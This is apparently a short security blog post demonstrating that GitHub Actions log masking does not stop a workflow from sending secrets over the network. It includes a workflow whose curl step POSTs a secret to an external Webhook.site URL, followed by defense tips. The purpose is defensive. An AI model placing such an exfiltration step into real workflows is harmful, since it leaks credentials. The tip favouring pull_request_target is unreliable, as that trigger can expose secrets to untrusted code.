While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.

Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.

How it works

Step 1: Define a target secret

Define a target secret

In the repository settings under Settings > Secrets and variables > Actions, I created a secret named FIND_ME containing a Base64 string.

FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM= 

Step 2: Set up an endpoint

Set up an endpoint

On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.

Step 3: Write the workflow

Write the workflow

I added .github/workflows/extract_github_secrets.yaml triggered by workflow_dispatch. The job uses curl to POST the secret value in the request body:

name: Extract Github Secrets on: workflow_dispatch jobs: extract-github-secrets: runs-on: ubuntu-22.04 steps: - name: "Send Data to webhook.test" run: | curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \ --data '{"message": "${{ secrets.FIND_ME }}"}' 

Step 4: Run and verify

Run and verify

I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:

{ "message": "JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=" } 

Defense strategies

Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.

To reduce this risk:

  • Limit secret access on untrusted triggers like pull_request from forks. Use pull_request_target with explicit review checks instead.
  • Scope secrets to specific GitHub Environments with protection rules.
  • Restrict outbound egress traffic on self-hosted runners using firewall rules.
  • Restrict GITHUB_TOKEN permissions to minimum required scopes.